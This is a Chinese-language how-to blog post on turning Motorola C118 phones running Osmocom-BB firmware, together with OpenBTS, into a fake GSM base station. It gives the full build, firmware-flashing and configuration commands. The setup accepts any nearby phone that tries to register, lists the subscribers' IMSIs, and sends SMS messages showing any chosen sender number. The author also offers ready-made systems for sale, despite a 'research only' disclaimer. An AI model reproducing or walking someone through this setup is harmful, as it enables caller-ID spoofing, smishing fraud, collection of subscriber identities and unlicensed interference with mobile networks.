利用摩托羅拉C118嗅探技術 搭建小型GSM簡訊基站

2020-08-16 17:06:14

此教學僅用於GSM無線網路研究,請勿用於非法用途

技術問題及BUG可以聯繫微:ssrp825進行指出

提供成品系統,無需封裝。有需要聯繫微即可

大家應該都聽說過摩托羅拉C118配合Osmocom-BB實現GSM網路下的簡訊攔截功能吧,在14年左右新出了一種玩法就是Osmocom-BB的sylvain/testing分支韌體可以配合OpenBTS,,藉助周圍信號強度較大的ARFCN僞造出一個新的基站信號。不過由於摩托羅拉C118的問題,無法實現語音通話功能只可以發送簡訊(預設只可以發送英文簡訊,修改原始碼可以實現發送中文簡訊)

以下內容將會指導你怎樣用Osmocom-bb相容的手機(如c115,c118,c123等)當作OpenBTS的無線收發機.

0x01 環境

已順利編譯執行過Osmocombb的可繼續往下看,否則請參考官方鏈接或優秀文章

首先安裝libosmo-dsp庫

先下載

$ git clone git://git.osmocom.org/libosmo-dsp.git
編譯前需要安裝fftw3

$ apt-get install libfftw3-3 libfftw3-dev libfftw3-doc
然後編譯

$ cd libosmo-dsp
$ autoreconf -i
$ ./configure
$ make
$ make install
0x02 Osmocom-BB

採用sylvain/testing分支(具體可看WIKI)

先下載

$ git clone git://git.osmocom.org/osmocom-bb.git
再切換分支編譯

$ cd osmocom-bb
$ git checkout sylvain/testing
預設編譯出的版本發送信號相關的功能是被註釋掉的,用mobile啓動layer23後會一直於搜信號的過程中,因爲無法發送信號。

如果需要進行實網測試需要開啓src/target/firmware/Makefile檔案中的編譯開關

把osmocom-bb/src/target/firmware下的Makefile中的DCONFIG_TX_ENABLE宏開啓:

Uncomment this line if you want to enable Tx (Transmit) Support.

#CFLAGS += -DCONFIG_TX_ENABLE
然後到src目錄下編譯

$ cd src make HOST_layer23_CONFARGS=–enable-transceiver
0x03 OpenBTS

這裏使用的OpenBTS的版本是OpenBts-p2.8(嫌手動編譯麻煩的可以找我要DEB安裝的教學),首先安裝依賴

$ sudo apt-get install autoconf libtool libosip2-dev libortp-dev libusb-1.0-0-dev g++ sqlite3 libsqlite3-dev erlang libreadline6-dev libncurses5-dev
下載原始碼

$ svn co http://wush.net/svn/range/software/public(svn版本必須 <= 1.7)
然後編譯安裝(有不懂的可以前往WIKI檢視詳細資料)

$ cd a53/trunk
$ make install

$ cd openbts/trunk
$ autoreconf -i
$ ./configure
$ make
$ mkdir /etc/OpenBTS
$ sqlite3 -init ./apps/OpenBTS.example.sql /etc/OpenBTS/OpenBTS.db 「.quit」

$ mkdir -p /var/lib/asterisk/sqlite3dir
$ cd subscriberRegistry/trunk
$ make
$ sqlite3 -init subscriberRegistry.example.sql /etc/OpenBTS/sipauthserve.db 「.quit」

$ cd smqueue/trunk
$ autoreconf -i
$ ./configure
$ make
$ sqlite3 -init smqueue/smqueue.example.sql /etc/OpenBTS/smqueue.db 「.quit」
安裝OpenBTS後按照WIKI的說明設定/etc/OpenBTS/OpenBTS.db

$ apt-get install sqlite3 sqliteman(ubuntu系統安裝,Kali自帶sqlitebrowser無需安裝)
然後在終端內輸入sqliteman啓動軟體,開啓/etc/OpenBTS/目錄下的OpenBTS.db檔案

Control.GSMTAP.TargetIP = 127.0.0.1
GSM.Radio.NeedBSIC = 1
GSM.Radio.Band = 900
GSM.CellSelection.Neighbors =(留空)
GSM.RACH.MaxRetrans = 3
GSM.RACH.TxInteger = 8
GSM.Radio.C0 = (發射的頻點,數值1-124之間)
Control.LUR.OpenRegistration =.*

0x04 刷入韌體

用osmocon程式將trx.compalram.bin刷入手機

命令

$ sudo ./osmocon -p /dev/ttyUSB0 -m c123xor …/…/target/firmware/board/compal_e88/trx.compalram.bin

0x05 開始執行

到OpenBTS/apps目錄下,將transceiver重新命名爲transceiver.bak新建指令碼檔案transceiver內容如下

#!/bin/bash exec /src/host/layer23/src/transceiver/transceiver
替換成你自己的路徑,替換成附近信號最強的ARFCN號

賦予執行許可權

chmod +x transceiver
然後開4個終端視窗分別執行

$ cd openbts/trunk/apps
$ ./OpenBTS

$ cd subscriberRegistry/trunk
$ ./sipauthserve(開啓註冊服務)

$ cd smqueue/trunk/smqueue/
$ ./smqueue(開啓簡訊功能)

$ cd openbts/trunk/apps
$ ./OpenBTSCLI(開啓OpenBTS控制檯)

如果一切執行順利開啓手機進入 設定-行動網路-網路運營商 即可看到我們建立的基站

在OpenBTSCLI的終端視窗可以輸入 help 檢視命令幫助

輸入 tmsis 可以檢視當前基站使用者的IMSI

輸入 sendsms IMSI 電話號碼 簡訊內容 即可發送任意顯示號碼的簡訊

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述